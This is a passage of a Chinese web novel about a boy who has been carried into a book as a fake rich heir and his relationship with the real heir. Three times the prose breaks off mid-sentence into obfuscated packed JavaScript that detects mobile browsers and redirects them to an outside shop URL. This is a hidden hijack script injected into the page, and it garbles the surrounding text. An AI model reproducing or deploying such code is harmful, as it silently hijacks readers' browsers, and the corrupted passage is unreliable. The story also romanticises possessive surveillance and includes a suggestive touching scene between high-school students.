尽说些他不爱听的话。 还是那么讨厌。 “大伯。”孟博延抬起眼,嗓音微冷,“孟孟以后的生活不牢你费心,我和爸妈只希望他健康、开心,您还是多教导教导自己的儿子吧,毕竟他没人帮衬,只能靠自己。” 就是就是。 孟觉躲在哥哥身后,吐了吐舌头,眉头微皱。 他总觉得对方刚刚的话里还有其他意思。 算了,反正有哥哥在。 孟德容确实不敢再说教,他今天来还有正事:“博延啊,你知道新江大桥扩建的消息吗?” 新江大桥扩建? 孟觉动了动耳尖,虽然他不是很懂商业上的事情,但这肯定是政府工程,他也想分一杯羹? 之后的对话,他没有多大兴趣,小说里真少爷就是主角,所以孟家的产业越发壮大,他根本不用担心。 又输掉一局,孟觉和许淮说了一声就下线了。 他无聊地翻着手机,余光瞥到正在偷懒的狗子,立马打开了相机。 土豆警惕地望过来,立马直起了身体。 咔嚓咔嚓—— 几张狗子照片新鲜出炉。 - “嗡嗡!” 一片嘈杂声中,桌上一部过时手机亮起了屏幕。 在暗下去的瞬间,一只手臂伸了过来。 冷白的指尖重新按亮屏幕,点开消息栏。 一个长相偏柔的男人走了过来,像发现新大陆一样,满眼惊奇:“你竟然也会正常的笑?女朋友给你发的消息?” 被问的男生抬起头,嘴角的笑容落了下去,脸上没有任何表情。 “是男朋友。” - 孟觉收到陆知叙的消息,第一眼还以为自己看错了。 手机屏幕上明晃晃三个大字——很可爱。 陆知叙认为这只老抽很可爱? 他的眼睛没事吧??? 孟觉滑动聊天记录,将刚发过去的几张照片双指放大,再放大,试图从土豆满是心眼子的脸上找到可爱的地方。 可惜,并没有。 孟觉百思不得其解,又给陆知叙发了一张狗子的黑历史照片,噼里啪啦打字。 【这张也很可爱吗?】 罚站的土豆突然感觉身上凉飕飕的,头稍稍一转就对上了主人的视线,连忙咧开嘴表示自己很乖! - 章寐从台上下去时,看见陆知叙还站在那里,脸上的表情十分耐人寻味。 他好奇走过去。 “你男朋友又给你发消息了?” 陆知叙懒懒地嗯了一声。 章寐看着对方嘴角的笑容,像是发现新大陆一样。 “我认识你这么久,现在才发现你竟然是个恋爱脑。” 陆知叙:“那你看错了。” 章寐摇了摇头,坚定道:“不,你是。” 陆知叙:“只是觉得他有点意思罢了。” 章寐嘁了一声:“还和我装?王老板都和我说了你找他涨工资存老婆本。” 陆知叙不悦地眯了眯眼睛:“随口说的。” 叮咚—— 手机提示音响起。 章寐看着立马低头看手机的男生,像狐狸一样笑眯眯道:“那我们走着瞧。” 陆知叙要不是恋爱脑,他就把手机吃下去! - 屏幕上弹出消息提醒。 孟觉伸手点进去,这次他提前做好了心理准备,如果还是上次那个答案,他也会欣然接受的。 毕竟人的审美是不同的,有向上的必然有向下的。 他把手心挡在那条信息上,再慢慢挪动手指。 一根、两根、三根,直到全部挪完。 他眼睛微微睁大。 【不可爱。】 【你可爱。】 孟觉耳尖一热,立刻关掉了手机。 脖子两侧的肌肤慢慢浮出红晕,逐渐蔓延至脸颊、眼尾,圆圆的眼睛里充盈着一层水光,挂在眼睫上摇摇欲坠。 正悄悄四处乱瞄的土豆一瞅到自己主人的这副模样,精神一振,立马开始偷懒,它知道主人暂时不会管它了。 - 休息室里,陆知叙脱下背心,换上常服。 刚推门出来就碰到了章寐。 章寐咬着冰淇淋,手指在手机屏幕上滑来滑去。 陆知叙本来都走了,又被他喊住:“你有没有注册过‘彼心?’” “那是什么?” “你不知道吗?‘彼心’是一款情侣软件,只要充了会员就可以随时看到对方的定位、手机APP的使用时间,还有消息是否已读,你要是没有注册,正好帮我助力一下,可以免费领一个月会员。” 陆知叙神情淡漠:“不帮,没兴趣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497966|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 章寐忽然想到什么,笑嘻嘻道:“你可以和你男朋友都下载一个啊,这样你就随时能‘监控’他了。” 陆知叙嘴角微勾:“这种第三方软件没有安全保障,当然是自己写的最好,还能加上其他的功能。” 章寐惊地张大了嘴巴,许久才说出一句话。 “你真……喜欢你男朋友啊。” 陆知叙欣然接受,语气危险。 “我当然喜欢他了。” - “我收回刚刚说陆知叙比你乖的话。” 孟觉牵着狗绳,走在公园里。 土豆听不懂,只顾低头嗅着地面。 “……算了,他比你聪明。” 孟觉不由地用指腹碰了碰眼角,那里红通通的一片,是刚刚用纸擦出来的。 娇生惯养出来的皮肤就是比较嫩,他根本没有用力就这样了,不能被哥哥看见,只好出来遛狗。 他又想到半小时前孟德容正要离开时说的话,大抵是被哥哥气到了,想拿扁扁的他开涮。 但对方攻击的正是他最不在乎的——成绩。 孟觉不屑一顾。 他低声喃喃:“哼,等陆知叙回来,看你还怎么攻击……” 那时候的场面一定很好看,希望他能亲眼看见! 孟觉弯了弯眼睛,在心里又原谅了陆知叙一点点。 “好吧,他还是比你乖一点。” 又被cue到的土豆:“……” 遛狗结束回到家,管家告诉孟觉,大少爷去了公司。 他点了点头,脸上没有任何意外的神情。 把狗交给管家后,孟觉蹬蹬蹬跑到三楼,钻进了其中一个房间里。 门被轻轻关上,悬挂在上面的木质小挂牌轻轻晃了晃。 浅木色的牌面上,是稚嫩可爱的手写小字,上面写着:孟孟的专属小窝。 - 星期一。 学校门口两侧站着学生会的人,在一一检查进校学生的着装。 和普通高中肥大的校服不同,国际部的校服版型利落简约,上衣是挺括的米白衬衫,搭配深藏青色的西装马甲,下身是同色系的修身西裤。 孟觉不喜欢这样的装束,但他还是会乖乖遵守学校的规定。 他站在路边等许淮,进校的人的目光不约而同落在他身上。 身穿制服的少年身形清瘦挺拔,乌黑的头发在清晨的阳光下仿佛挥洒着一层金辉,神圣又矜贵。 也有不少人偷拍,或三三两两凑在一起窃窃私语。 刚下车的许淮对这一幕接受良好,毕竟高一那年,有比这更有冲击的画面。 他记得当时有人直接冲到孟觉跟前想亲他,却不小心撞到了另一个人,那个人留着很长的头发,身形消瘦,还是孟觉上前把人扶了起来。 也幸好是那人刚好路过,孟觉才保住了自己的初吻。 之后他俩想去谢谢那人,却根本没看清对方的长相,到现在孟觉都耿耿于怀。 许淮放轻脚步,悄悄走了过去,打算吓一吓好友。 许淮屏住呼吸,抬起手臂,眼睛发亮。 正要拍下去时,耳边就响起好友阴森森的嗓音。 “许淮,你要干什么?” 抬起的手臂自动拐了个弯,许淮挠了挠后脑勺,笑道:“我脑子有点痒,抓抓。” 孟觉没管他的小动作,忙拽着人往校园里走。 早上发出去的消息到现在都没有被回复,他要去班里亲自看一眼。 距离八点的上课铃声还有一分钟,可最后一排的那个位置还是空的。 孟觉手心里逐渐出了汗。 难道陆知叙昨天被那些人堵了? - 晴朗的天空被乌云遮挡,下起了毛毛细雨。 陆知叙走上台阶,淡淡的目光扫过面前一排的碑石,落在前方的角落里。 那里矗立着一个很小的墓碑。 他弯腰将东西放在供台上,蹲下身擦掉落在照片上的雨水。 “爸妈,好久不见。” “哥哥长得很像你们,被孟家养的很好,你们不用担心。” “我……也过得很好。” “你们会保佑哥哥喜欢我的吧……” 后面的话被风吹走,弥散在这方墓地。 7. 第 7 章 第一节课结束,后面的座位还是空的。 孟觉蹙着眉拿起手机出了教室,拨了几通电话依旧是忙音。 他心里不安,跑到办公室找班主任。 班主任听完他的话,目光里带着些好奇。 陆知叙,她班里最优秀的学生,成绩优秀,独来独往,几乎没有什么朋友。 孟觉,她班里家境最优越的学生,不惹事,比较乖,很会社交,朋友很多。 这两个人不应该会产生任何交集。 可能是出于对学生间友情的呵护,她告诉他陆知叙昨晚请假的事情。 “请假?他什么时候请的假?是病假吗?” 孟觉呼吸一滞,连忙问道。 “不是病假,他应该是去看他父母了。” 虽为国际部的班主任,但她照样会了解每个学生的家庭情况。 对于特殊的家庭情况,她也会更关注一些。 她班上的陆知叙就属于特殊情况,父母双亡,从小在福利院长大。 而面前的男生,生于罗马,还有疼爱他的父母、哥哥,所以她确实有些好奇这两人是怎么认识的。 孟觉走出办公室,垂头靠在旁边的墙上。 按理说他知道陆知叙不是在医院,心里应该很轻松,毕竟他是穿书来的,可脑海里一直回想着那句话。 陆知叙去看的父母应该就是假少爷的亲生父母。 小说里,假少爷的亲生父母在过马路时被一辆疲劳驾驶的大货车撞到,危机时刻当时仅五岁的陆知叙被用力推了出去,活了下来。 梦里这处场景是一带而过的,只有画外音辅助描述,但那些文字同样让人窒息,孟觉自己都不知道那晚他的枕边都湿了,不知是为真少爷流的还是那对夫妻。 “叮铃铃”的上课铃声响起,孟觉做了一个很冲动的决定。 拿着假条走出校门口的那一刻,他站在车来车往的路边,深深地呼出一口气。 他不知道自己这样做是否会产生蝴蝶效应。 只是想做,就做了。 - 北郊公墓。 天色灰蒙蒙的,乌云压得很低,仿佛就在头顶。 细密的雨水顺着冰凉的碑石缓缓滑落,空气里混着泥土的潮气。 孟觉从出租车上下来,怀里抱着一束白菊,刚踏上台阶,远远就看见陆知叙修长的身影。 他抿了抿嘴唇,抬脚往那里走去。 工作日的墓园寂静无声,只有雨水敲打地砖和树叶的轻响。 陆知叙笔直地站在墓碑前,听到身后的脚步,动都没动。 直到后面响起他的名字。 陆知叙转过头,脸上露出恰到好处的惊讶。 长相精致的少年撑着黑伞乖乖站在那,像凭空出现的一样,带来的白菊花瓣也被保护得只沾到少许水珠。 他:“你……怎么知道我在这里?” “我给你打了电话,你没接,我以为……你出事了。” 陆知叙从口袋掏出手机,一按才发现没电关机了。 “抱歉。” 孟觉摇了摇头,目光落在面前的墓碑上,碑上是两张很年轻的面孔,穿着朴素的衣服,靠得很近。 他抱着花束的指尖不自觉收紧,问道:“你经常来看他们吗?” 风吹来的雨丝打在少年有些苍白的脸上,陆知叙不由侧身挡住风口,低低地嗯了一声。 “那他们一定很爱你。” 孟觉牵起嘴角,定定地望着照片上的一男一女。 照片上的女人梳着单边麻花辫,满脸笑容,男人的发型看上去较为邋遢,衣服却很干净,脸上也同样挂着笑容。 血缘是种很奇妙很不讲道理的东西,他站在这里只看着墓碑上的照片,就确定了小说里的是真的。 他的长相和他们有很多相似的地方——圆圆的眼睛、微翘的鼻头、浓密有光泽的头发…… 但这对夫妻被永远定格在了三十岁。 无声的酸涩忽然涌了上来,孟觉的眼眸渐渐被泪水浸满,大颗大颗的眼泪顺着脸颊滑到唇上,又从下巴缓缓滴落。 一只手骤然出现在下方,接住了这些眼泪。 孟觉轻轻地眨了眨眼睛,抬头对上陆知叙狭长的眼睛。 “怎么这么爱哭啊?” 孟觉心里难受,没有听出对方语气中的一丝兴奋。 握在手里的伞柄被人强迫掰开,他指尖一松,泪眼朦胧地望着眼前的陆知叙。 滚烫的泪水模糊了孟觉的视线,男生的面容像被一层薄薄的面纱遮住,让人看不清他脸上的神情。 他抿了抿唇,没有回答,而是问道:“被送去福利院的时候,你害怕吗?” 微湿的唇间泛起淡淡的涩意。 陆知叙长大到五岁时,没了父母,没了家,两方亲戚都不愿意收养他,当地的政府部门为了省事,直接把小小的他送去了福利院。 虽然小说里没有提及,但孟觉猜没有一个人问过他这样的问题,也没有人会关心。 一个五岁的孩子在直面父母的车祸后,不仅没有得到该有的心理治疗,还被扭送去陌生的福利院,如果是他,他不敢想象。 陆知叙正在帮孟觉擦眼泪,闻言手指一顿,敛着眸道:“不害怕。” 听到这个答案,孟觉一点都不意外。 “那福利院的小朋友接纳你了吗?” 陆知叙低头对上那双红得像兔子一样的眼睛,嘴角微微上挑:“那里的小朋友对我很好,给我零食还有玩具,院长和老师也很照顾我。” 大骗子。 他们对你一点都不好! 零食里有虫子,玩具上面都沾着脏水,大人们也从来不管…… 孟觉回忆着原著里的描述,呼吸急促,睫毛乱颤。 他也不知道自己为什么这么生气,明明那对夫妻和他没什么关系,陆知叙也只是一个小说人物,但他心里仿佛有一团火,烧得他难受。 突然,他眼前一黑,失去了意识。 洁白的菊花掉在地上,终究还是被雨水打湿了。 - “他的情况不严重,情绪激动又淋了雨……” 周遭一片安静,人说话的声音断断续续传入耳中。 沉重的意识缓缓剥离黑暗,睫毛极轻地颤动,孟觉慢慢睁开眼,从昏迷中苏醒过来。 鼻尖弥漫着浓郁的消毒水味道,他转头看了看,发现自己躺在病房里。 可他不是在墓园吗? 陆知叙呢? 这里是梦吗? 被褥下,孟觉指尖碰到大腿,随后狠狠地拧了一下。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497967|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“唔!” 好痛!!! 他这一下将眼泪彻底释放出来了。 泪水顺着他的眼角滑落,瞬间洇湿了底下的枕头。 孟觉指尖揪着被角,小声呜咽着。 陆知叙推门进来看见的就是这一幕,漂亮的小少爷泪眼涟涟,黑发散乱,听到声响看过来的眼睛里带着满满的委屈。 他呼吸微微一紧,喉结滚动,大步走过去,嗓音里压着兴奋:“怎么了?哪里不舒服吗?” 面前的男生不说话,只是在哭,长长的睫毛都沾上了泪水,一簇一簇的,好不可怜。 看着那些眼泪,他兴奋地指尖微颤,好想用舌头把这些眼泪舔干净,再喝下去。 “疼……” 孟觉的声音拽回了陆知叙岌岌可危的想法。 “哪里疼?” 刚刚的医生不是说情况不严重吗? 孟觉吸了吸鼻子,不自觉地往陆知叙那边靠近。 然后毫无征兆地掀开了被子。 白花花的皮肉晃得陆知叙微微失神,反应过来后,他动作极快地把被子又盖了回去。 孟觉:“你干什么啊?” “小心着凉了。” 陆知叙嗓音透着克制,脖子上青筋暴起,眼睛都有些发红。 生病的孟觉脑子没有那么清楚,只觉得陆知叙很坏。 “你走,我不要你陪着。” 他伸出手推了推男生的胳膊,眼泪汪汪。 陆知叙周身寒凉的气息几不可察地滞了一瞬。 淡漠的眼底掠过一丝危险的波澜,藏得很深。 他眉眼微敛,声音依旧偏冷偏低:“哥哥真的要我走吗?” 病床上的孟觉顿了顿,哭过的嗓音又低又哑,还带着一丝软。 “是你问我哪里疼的,我给你看,你又不看,现在还怪我!” 陆知叙身形一顿。 眼看小少爷又要把自己说委屈了,他张嘴道:“我可以申请重新看吗?” 孟觉抬头:“那你要说话算数哦。” 被子掀开的瞬间,陆知叙提前做好了准备,神经绷紧,目不斜视,只有喉结不受控地上下滚动。 “是哪里疼?” 孟觉指着大腿根部,可怜巴巴道:“这里。” 男生身形清瘦匀称,骨骼纤细,偏偏大腿根部的皮肉柔软饱满,似乎稍一用力指尖就会陷进去。 陆知叙眼力好,一眼就看到靠里有一抹红痕。 孟觉见对方不说话,以为他没看见,膝盖微弯,把腿伸了过去,圆润的脚趾刚好碰到陆知叙垂在腿侧的手指。 陆知叙额角一跳,刚要后退到安全距离,另一只手却被孟觉抓住,带着往前。 “在这里,好疼。” 粗糙的指腹触抵上那片嫩滑软肉,如同玉石般细腻光滑。 陆知叙眸光暗沉,气息微乱,面上的神情依旧冷淡,眼底却已失去了往日的漠然。 淡漠的情绪被染上一簇火,如星星燎原,一发不可收拾。 他轻轻用指腹丈量那处,修长的指尖很快便染上了男生的温度。 许是又哭过一次,孟觉眼皮越来越重,渐渐闭上了眼睛。 陆知叙收回手,舌尖舔过指尖,眼睛微微眯起。 是哥哥的味道。 8. 第 8 章 孟觉再次醒来时,已经到了中午。 睡前的记忆一股脑涌出来,几乎是贴脸暴击。 什么“你摸摸”、“我不要你陪着”、“这里好疼”…… 他整个人瞬间僵住。 貌似远远不止这些污言秽语。 他好像还拽着陆知叙的手,让他摸—— 啊啊啊啊!!! 孟觉指尖紧攥着被子,放缓呼吸,装作还没醒,实则脚趾都尴尬地蜷缩了起来。 他觉得他可以换个星球生活了,地球已经不适合他了T^T 什么真假少爷、被报复都是小case了。 忽然,他听见身后传来布料摩挲的声音。 死神朝他走来了。 “孟孟?” 是哥哥的声音! 此时孟博延的嗓音如天籁之音,瞬间把他从地狱拉回了天堂。 “哥哥!”孟觉猛地睁开眼,利索地翻了个身,“还好你来了!” 听到这句意味不明的话,孟博延挑了挑眉:“什么叫还好我来了?” “唔,想你了嘛。” 孟觉眨巴眨巴眼睛。 孟博延勾了勾嘴角,弯腰道:“好点了吗?还有没有哪里不舒服?” “没有!”孟觉摇了摇头,刚要说话,“阿嚏——!” “……” “身体不好还淋雨。” 孟博延没好气地拿起沙发上的外套,披在他身上。 孟觉不敢反驳,听话地拽着外套,圆溜溜的大眼睛四处张望,似乎在找人。 孟博延:“找你同学?” 听到哥哥的话,孟觉吓得眼睛都瞪圆了。 他们发现了吗? 会提前相认了吗? 是他的举动导致的蝴蝶效应吗? 孟觉小心翼翼道:“你见到他了?” 孟博延走去倒了杯水,嗓音极淡:“见到了,我给你打电话是他接的,然后我就过来了。” “哦。”孟觉偷偷观察哥哥脸上的神情,但看不出什么异样,只好旁敲侧击道,“那你们说什么了吗?” 孟博延将水递过去,眉头微皱,似乎是在回想:“没有说什么,只是打了个招呼。” 孟觉轻轻唔了一声,喝水时却悄悄松了口气。 其实他还没做好直面真相的准备。 他也是个胆小鬼。 要是十八岁穿书过来还好,偏偏穿到了不记事的年龄。 十几年的感情不是说没就会没的。 情绪上来,他眼眶瞬间就红了。 凝在眼睛里的泪水刚要落下来,微肿的眼皮上就多了两枚鸡蛋。 “唔!哥哥,鸡蛋哪里来的?” 他都没看见哥哥是从哪里拿出来的鸡蛋。 孟博延帮忙扶着,淡淡道:“你同学给的,好好敷,眼睛都肿了。” 孟觉眼睛被挡住,看不见哥哥脸上的神情,但他在这句话里听出些许不寻常。 他刚要开口,他哥的声音又响起。 “爸妈之前已经打了一通电话,等眼睛没那么肿了,你给他们打个视频。” 孟觉立刻闭上嘴,轻轻地哦了一声。 他已经好久没有看见爸爸妈妈了,他们都太忙了,他也害怕打扰到他们。 - M国。 金碧辉煌的宴会厅内名流云集,中外商界精英举杯往来。 一个长相明艳的女人穿着高定长裙,和旁人谈笑风声。 垂眸时眼底却泛着淡淡的愁意。 宴会近半,她放下酒杯,目光扫过另一边,落在一个穿着灰色西装的男人身上。 “算了。” 她嘟囔着,提起裙摆从偏门离开。 暗处的保镖见状也跟了过去。 “呼,这裙子真碍事。” 女人只走了一小段路就累得微微喘气,随便找了个最近的长椅坐下。 从包包里拿出手机,刚要点开,屏幕上就弹出了视频通话。 她略微慌乱地接通。 “妈妈!” 话筒里传出一道年轻的嗓音。 她看着屏幕里脸色苍白的男生,眼睛里很快就蓄起了泪水:“宝贝,妈妈好想你,身上还有哪里不舒服吗?” 孟觉听着妈妈的话,脸颊微红,嘴角扬起一个浅浅的弧度:“妈妈,我也很想你,你们什么时候回来啊?” “下周就回来了,很快就能和宝贝见面了。” 孟觉眼睛一亮,可看着妈妈周围的光景,眉头微微皱起:“爸爸呢?他没有陪着你吗?” 女人擦了擦眼泪,语气温柔:“你爸爸还在里面,不用担心,有保镖陪着妈妈。” “好吧。”孟觉望着屏幕里的妈妈,不自觉地弯起眼睛。 也不说话,就这么呆呆地看着。 窦燕扑哧一下:“宝贝怎么呆呆地看着妈妈笑啊?” “啊?”孟觉看了眼小窗里的自己,下意识摸了摸翘起的嘴角,脸颊一红,“是妈妈今天太漂亮啦,爸爸有没有偷亲妈妈啊?” 窦燕:“你还不了解你爸爸那个德性吗?臭流氓一个。” 孟觉嘿嘿一笑,下意识朝妈妈撒娇:“那是爸爸喜欢妈妈嘛。” 窦燕被儿子逗得眉开眼笑,视线下移。 “哥哥说你今天上午请假了,是有事吗?” 孟觉轻轻地啊了一声,转头看向在一边事不关己的哥哥,悄悄做了个鬼脸。 孟博延不包庇他的任何罪证。 “妈,孟孟在对我做鬼脸,他不想让你知道。” 孟觉:“……” 哥,你玩不起。 “不是的,我只是在和哥哥闹着玩。”他低垂着眼,一副可怜巴巴的模样。 窦燕捂嘴轻笑:“我知道,我们孟孟这么乖,是哥哥坏,等妈妈回来,妈妈帮你打他。” “好哦。”孟觉眼睛亮晶晶的,晃了晃脑袋,嗓音里是掩饰不住的兴奋,“我还要哥哥写检讨书。” “没问题,让哥哥给孟孟写检讨书,写多少字宝贝来定。” 窦燕的视线流连在小儿子的笑脸上,一直紧绷的大脑微微放松下来,即使他不是…… “妈妈,我上午请假是因为……班里有个同学没来上学,我担心他出事……” 孟觉混淆了些信息,说得半真半假。 因为他哥必然会打电话给班主任,所以不能全部说谎。 窦燕:“那个同学是孟孟新交的朋友吗?” 孟觉:“算是吧。” 窦燕笑了笑:“好,那等爸爸妈妈回家,孟孟可以喊他来我们家做客。” “……” 妈妈,这个就不用了吧。 他很快就能住进来了。 “嗯,到时候我问问他。” 孟觉睫毛微颤,乖乖应了下来。 窦燕:“你哥哥呢?” 孟觉把手机屏幕转过去:“哥哥,妈妈找你。” 孟博延接过手机,打开门走了出去。 “?” 孟觉头顶冒出个大大的问号,有什么话是他不能听的吗? 期间,华叔进来给他送饭。 “华叔,哥哥还在外面打电话吗?” 华叔:“嗯,大少爷还在和夫人说话。” “哦。” 好好奇他们在说什么啊。 但保温盒一打开,他立刻就不好奇了。 太香了。 全部都是他爱吃的! “谢谢华叔。” 孟觉弯了弯眼睛。 华叔看着小少爷鼓鼓的腮帮子,心里软绵绵的,忙让他吃慢点。 几乎他刚放下筷子,哥哥就推门进来了。 “我刚和妈妈商量一下,你这几天在家休息,我会和你班主任说。” 孟觉:“啊?” 孟博延把手机还给他,狠狠地揉了揉他的头发:“啊什么啊?你自己的身体还不清楚吗?多休息两天,让华叔给你好好补补。” 华叔诶了一声:“我回去就炖汤。” 孟觉人微言轻,被迫请了几天假。 他毫无形象地躺在沙发上,在手机上和许淮聊天。 【许淮:你这也太爽了!!!】 【孟觉:还好吧。】 【许淮:你这句话好招打啊!我好想打你!】 【孟觉:如果你也能请到假的话,来打吧。】 【许淮:……】 【许淮:你知道我的家庭地位有多低,我家的猫我都得喊祖宗(哭)】 【孟觉:哦,我不懂……】 许淮和孟觉插科打诨完,才说起正事。 【你上午为什么请假了?我问你同桌,他说不知道。】 孟觉懒懒地翻了个身,捧着手机慢吞吞打字。 【无可奉告^^】 许淮:…… 【行,我就当你和陆知叙请假约会去了。】 【百年好合,早生贵子哈】 孟觉:“……” 什么鬼啊。 两个男生怎么早生贵子??? - 在家休息这几天,孟觉一直没有主动联系陆知叙。 不为别的,是他还没有想好怎么面对他。 虽然已经过去了好几天,但每到深夜脑海里总会蹦出那些话。 陆知叙倒是给他发了一些消息,问他身体有没有好点。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497968|202595||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他只回了两个字——好了。 直到星期四下午,孟觉又收到了陆知叙的消息。 原本他还懒洋洋的,但看到那两条消息时,心脏差点骤停。 【你寄到学校的快递,我帮你取了。】 【你什么时候回学校上课?】 因为那快递不是别的东西,正是那家鉴定中心寄过来的DNA报告。 当时填写收件地址时,思来想去,他填了学校的地址。 毕竟家里有华叔、他哥偶尔也在,有暴露的风险。 但算来算去,还是算错了。 他立刻给陆知叙回了消息,然后让家里的司机送他去学校。 孟觉其实不是很担心会被发现,陆知叙不是那种没有边界感的人。 他坐在车上,手指收紧。 悬在脑袋上的那把刀终于要落下了。 - 收到孟觉的消息,陆知叙看了好几遍才收起手机。 这段时间对方似乎在有意和他保持距离,快递是班主任交给他的,还说了些希望他们能成为朋友这类话。 他没有仔细看,但这是寄送文件的专用快递袋,里面应该是很重要的东西。 否则对方不会给他发那样的消息。 那么着急,还有些慌张。 像是害怕他看见这里面的东西。 他没有偷看别人东西的癖好,但有人来。 前面的男生余光瞅到,手伸过来想看,嘴里还说着:“这是什么快递?” 陆知叙面色一冷,眉峰冷戾地蹙起,神情阴鸷,嗓音冷得刺骨:“别碰。” 那男生手一顿,脸上闪过恼意,嗤笑声中带着毫不遮掩的鄙夷:“嘁,装什么清高,穷酸鬼。” 陆知叙看都没看他,从书包里拿出湿巾,将快递擦了一遍。 “你特么——!” 男生骂人的话戛然而止。 那是一双冰冷死寂的眼睛,浅色瞳孔毫无情绪地微微转动,看向他时不带丝毫人气,像是在打量一件死物。 挑衅的男生身体猛地一僵,皮肤瞬间爬满细密的鸡皮疙瘩,指尖控制不住发颤,到了嘴边的脏话也尽数咽了回去。 直到对方离开,他才仿佛活了过来。 五月的天,风打着旋将掉在地上的树叶吹起,又落下。 孟觉一下车就看见了站在树下等他的陆知叙。 脑海里瞬间浮现出几分钟前收到的消息——我在校门口的第二棵树下。 还真的是第二棵树。 孟觉一路上紧绷的神经终于松了松。 他刚要走过去,就对上了那双毫无情绪的眼睛。 陆知叙动了。 对方走路很快,他才走了几步,陆知叙就走到了他面前。 “你是不是等很长时间了?” 陆知叙摇头:“没有。” 说着他把手里的东西递了过来。 孟觉接过来,用余光扫了下完好的封条,抿唇道:“谢谢。” 陆知叙没有错过他的小动作,低头道:“周六还补课吗?” 孟觉顿了一下悄悄看陆知叙的神情。 和平常一样,应该是忘记了那天的事情吧。 他道:“补吧。” 上个周末没有发生砸腿的情节,那应该就是这个周末。 因为书上写的是陆知叙是周一请的假,所以一定是周末出的事。 “要我去接你吗?” 孟觉连忙摇头:“不用,我们在自习室门口见面吧。” 陆知叙:“好。” - 孟觉回到家就钻进了房间里,做贼似得把门反锁,拿出快递。 洗完手,他站在桌前,深吸了一口气,没亲眼看见,他心底总会抱着一丝侥幸。 指尖小心翼翼撕开上面的封条,袋子里仅有一张薄薄的纸。 孟觉指节绷地泛白,心脏怦怦直跳。 他缓缓抽出里面的报告单,垂眼去看。 视线匆忙扫过上面的大段文字,落在最后一行的鉴定结果上。 他下意识放轻呼吸,紧张地咽了咽口水。 【鉴定结论:依据现有DNA检测数据及遗传学分析,排除被检父与被检子之间存在亲生血缘关系。 】 【说明:本鉴定结果支持二者无亲生父子关系。】 孟觉指尖微颤,鉴定报告轻飘飘地落回桌面。 没有bug。 他真的不是爸爸妈妈的亲生孩子。 大概是这周哭了太多次,孟觉竟然没有掉眼泪,心里也异常的平静。 片刻后,他把鉴定结果夹进书里,摸出手机发了一条消息。 【我要分手。】 9. 第 9 章 八点整。 孟觉伸手按掉闹钟,半眯着眼坐起来。 窗帘自动拉开,明亮的阳光撒进卧室,照在地板上。 他穿上狗狗拖鞋,半梦半醒地去卫生间。 半晌,抽水的声音响起。 孟觉站在镜子前,用力地搓了搓脸。 昨晚他做了一整夜的噩梦,被陆知叙一直追杀。 天涯海角,都不放过他。 避免夜长梦多,今天必须分手! 吃完早饭,他搭自家的车到A大的自习室门口。 孟觉到的时候,陆知叙已经在那里了。 明明只穿着普通的白T和牛仔裤,却尽显优越。 184的身高挺拔修长,肩线舒展,是天生的衣架子,站在人群中格外显眼。 孟觉正在过马路,抬头就发现有女生跑过去,似乎在要联系方式。 距离太远,他听不见声音,但能看见陆知叙的脸,依旧毫无波澜。 看来在这点上,土豆比陆知叙会表现,至少它会看碟下菜。 突然,他见对方淡漠的眉眼微微一松,抬眼朝马路对面望来。 他看见我了。 孟觉脑子里瞬间冒出这句话。 他只好加快脚步,赶在红灯前前踩在了路沿上。 再抬眼时,那位搭讪的女生已经不见了。 陆知叙也走到了他面前,他抬头看向对方,发现他浅色的瞳孔在阳光下通透明亮,有点像许淮家的那只猫。 每次他去的时候,那只猫都会黏在他身上,乖得不像许淮嘴里那只高冷小祖宗。 可陆知叙乖吗? 孟觉站在那思考了几秒,得出一个很恐怖的结果。 陆知叙似乎是挺乖的。 他脸上一阵燥热,不知道自己为什么要想这些不重要的东西。 对方的视线一直落在他身上,孟觉呼出一口气,僵硬地移开视线,快速说道:“我们进去吧。” 陆知叙嗯了一声,跟在对方身后。 他的视线赤裸裸地落在男生身上,从修长的脖子到漂亮的背脊,再到盈盈可握的腰肢。 每一处都能轻易地让他兴奋到颤栗。 - 也许是因为上午补课,孟觉虽然有些困,但都坚持下来了。 只是那些题依旧不会做。 他仍然是个学渣。 从自习室出来后,他又带着陆知叙去了另一家店吃了午饭。 下午继续补习。 这次孟觉自己带了书,开小差的时候在上面画了很多简笔画。 直到脸被捏住。 他眼瞳微微睁大,不可置信地看着罪魁祸首。 “你……你干嘛要捏我的脸?” 陆知叙捻了捻指腹,似乎是在回味刚刚的触感。 “手感很好。” 孟觉感觉被捏的那一块脸火辣辣的,他捂住脸,闷闷道:“你们怎么都喜欢捏我的脸啊。” 陆知叙神情一凉:“还有谁捏?” 孟觉没听出他语气中的杀气,毫无防备道:“许淮、我哥、爸爸妈妈,还有华叔……” “这么多人啊?” 